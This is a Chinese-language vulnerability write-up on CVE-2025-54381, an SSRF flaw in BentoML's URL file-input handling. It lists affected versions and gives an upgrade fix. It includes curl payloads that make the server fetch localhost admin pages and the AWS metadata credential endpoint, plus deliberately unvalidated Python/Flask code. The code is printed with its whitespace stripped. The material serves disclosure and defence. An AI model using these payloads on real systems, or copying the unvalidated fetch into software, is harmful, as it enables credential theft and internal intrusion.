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项目标题与描述

CVE-2025-54381 – BentoML高危SSRF漏洞分析

CVE-2025-54381是一个存在于BentoML（一个用于打包、运送和部署机器学习模型的Python框架）中的严重服务器端请求伪造（SSRF）漏洞。该漏洞允许攻击者通过构造特定的URL请求，使受影响的BentoML服务端向内部网络或云元数据服务发起未经授权的HTTP请求，可能导致敏感信息（如IAM凭证、服务密钥等）泄露。

• CVE ID:CVE-2025-54381
• 发布日期:2025年7月30日
• 发现者:Wiz Research Team
• 报告至:GitHub Advisory Database & NVD
• 严重等级:严重
• CVSS v3.1 分数:9.9 / 10

功能特性（漏洞影响范围）

根据漏洞描述，该漏洞的成因与BentoML框架的特定功能紧密相关：

• URL-based文件上传功能：BentoML的模型服务API支持通过URL接收文件输入，具体通过以下两种方式实现：
  1. Multipart Form Requests（多部分表单请求）
  2. JSON POST Requests（JSON POST请求）
• 服务端文件下载：当接收到包含URL的文件输入时，BentoML框架会代表用户（即攻击者）向该URL发起一个服务端的HTTP GET请求以下载文件。
• 核心问题（漏洞点）：框架在发起这个服务端请求之前，未能对用户提供的URL进行充分的验证和过滤。这直接导致了SSRF漏洞。

安装指南（受影响的软件版本）

• 受影响的软件:BentoML
• 受影响版本:
  • 所有从1.4.0到并包括1.4.19的版本。
• 建议:使用受影响版本的用户应立即升级到已修复此漏洞的更高版本（1.4.20或之后）。

使用说明（漏洞利用方式）

该漏洞的利用关键在于构造恶意请求，诱骗BentoML服务器访问内部或受限制的资源。

基础利用示例

攻击者可以向部署的BentoML服务API发送一个特制的请求，其中文件输入字段包含一个指向内部服务的URL。

示例1：访问本地服务

curl-X POST"http://victim-bentoml-service/predict"\-H"Content-Type: application/json"\-d'{ "file_url": "http://127.0.0.1:8080/admin" }'

这可能导致BentoML服务器访问其自身网络环境中的管理面板。

示例2：访问AWS云元数据

curl-X POST"http://victim-bentoml-service/predict"\-H"Content-Type: multipart/form-data"\-F"file=@(echo 'metadata');type=application/x-www-form-urlencoded"\-F"file_url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

这可能导致BentoML服务器访问云主机实例的元数据服务，并可能返回附加到该实例的IAM角色的临时安全凭证。

典型攻击场景

1. 内部网络探测与信息泄露：攻击者可以扫描服务器所在内网的IP和端口，访问内部的数据库管理界面、版本控制系统或其他未公开的Web服务。
2. 云环境凭证窃取：在AWS、GCP、Azure等云环境中部署的BentoML服务，可能通过访问云供应商特定的元数据端点（如169.254.169.254,metadata.google.internal）而泄露实例的访问令牌或角色凭证。
3. 权限提升的跳板：获取到的内部服务访问权限或云凭证可能被用于进一步攻击，横向移动至更关键的系统。

核心代码

以下是模拟漏洞核心逻辑的简化代码，展示了BentoML在处理URL文件输入时未进行验证的关键步骤。

importrequestsfromtypingimportDict,AnyimportjsonclassVulnerableBentoMLHandler:""" 模拟存在SSRF漏洞的BentoML请求处理器。 该类展示了框架如何处理来自用户的URL并代表其发起请求。 """defhandle_json_request(self,request_data:Dict[str,Any])->bytes:""" 处理JSON格式的POST请求。 从请求数据中提取`file_url`字段，并直接向其发起GET请求。 漏洞：此处未对`file_url`进行任何验证（如是否为内网IP、保留地址等）。 Args: request_data: 包含`file_url`等字段的JSON数据。 Returns: 从目标URL获取到的文件内容。 """# 从用户请求中直接获取URLtarget_url=request_data.get('file_url')print(f"[!] 正在按用户请求访问URL:{target_url}")# 关键漏洞点：未经验证，直接向用户提供的URL发起请求response=requests.get(target_url,timeout=5)file_content=response.contentprint(f"[+] 成功从{target_url}获取到{len(file_content)}字节数据")returnfile_contentdefhandle_multipart_request(self,form_data:Dict[str,str])->bytes:""" 处理Multipart表单请求。 逻辑与JSON处理类似，同样缺少URL验证。 Args: form_data: 包含`file_url`字段的表单数据。 Returns: 从目标URL获取到的文件内容。 """target_url=form_data.get('file_url')print(f"[!] 正在按用户请求访问URL:{target_url}")response=requests.get(target_url,timeout=5)returnresponse.content# 模拟攻击者利用漏洞if__name__=="__main__":handler=VulnerableBentoMLHandler()# 攻击载荷1: 尝试访问AWS元数据malicious_payload_aws={"file_url":"http://169.254.169.254/latest/meta-data/"}print("攻击示例1：访问AWS元数据端点")# handler.handle_json_request(malicious_payload_aws) # 实际攻击中会执行# 攻击载荷2: 尝试访问本地管理服务malicious_payload_internal={"file_url":"http://localhost:8080/secret-admin-page"}print("\n攻击示例2：访问本地内部服务")# handler.handle_json_request(malicious_payload_internal) # 实际攻击中会执行print("\n漏洞原理：上述代码直接信任了用户输入的`file_url`，导致服务器可被用作代理访问任意地址。")

# 另一个视角：展示如何从API层接收参数并传递到漏洞函数fromflaskimportFlask,request,jsonify app=Flask(__name__)@app.route('/api/predict',methods=['POST'])defpredict():""" BentoML服务API的预测端点。 根据Content-Type，将请求分发给不同的处理器。 此流程本身暴露了未经验证的URL输入点。 """ifrequest.content_type=='application/json':data=request.get_json()# 直接将JSON数据传递给存在漏洞的处理器file_url=data.get('file_url')# ... 其他处理逻辑 ...# 最终会调用类似 `download_file_from_url(file_url)` 的函数returnjsonify({"status":"processing","input_url":file_url}),202elif'multipart/form-data'inrequest.content_type:file_url=request.form.get('file_url')# ... 其他处理逻辑 ...returnjsonify({"status":"processing","input_url":file_url}),202returnjsonify({"error":"Unsupported content type"}),400if__name__=='__main__':app.run(debug=True)

代码注释总结：

1. 第一段代码 (VulnerableBentoMLHandler) 核心展示了漏洞发生的直接位置：在handle_json_request和handle_multipart_request方法中，直接从用户输入获取target_url，并调用requests.get()发起网络请求，中间缺少了对该URL的白名单验证、黑名单过滤（针对内网IP、元数据域名等）或协议限制（如仅允许HTTP/HTTPS）。
2. 第二段代码 (Flask app) 展示了漏洞如何通过Web API暴露出来。用户通过向/api/predict端点发送POST请求，即可将恶意URL传入系统处理流程。
3. 漏洞的本质是过度信任用户输入。修复方案通常是在下载文件前，增加一个严格的URL验证层，例如使用urllib.parse.urlparse解析URL，检查其hostname是否属于内网IP段或已知的危险域名（如云元数据端点），并拒绝此类请求。
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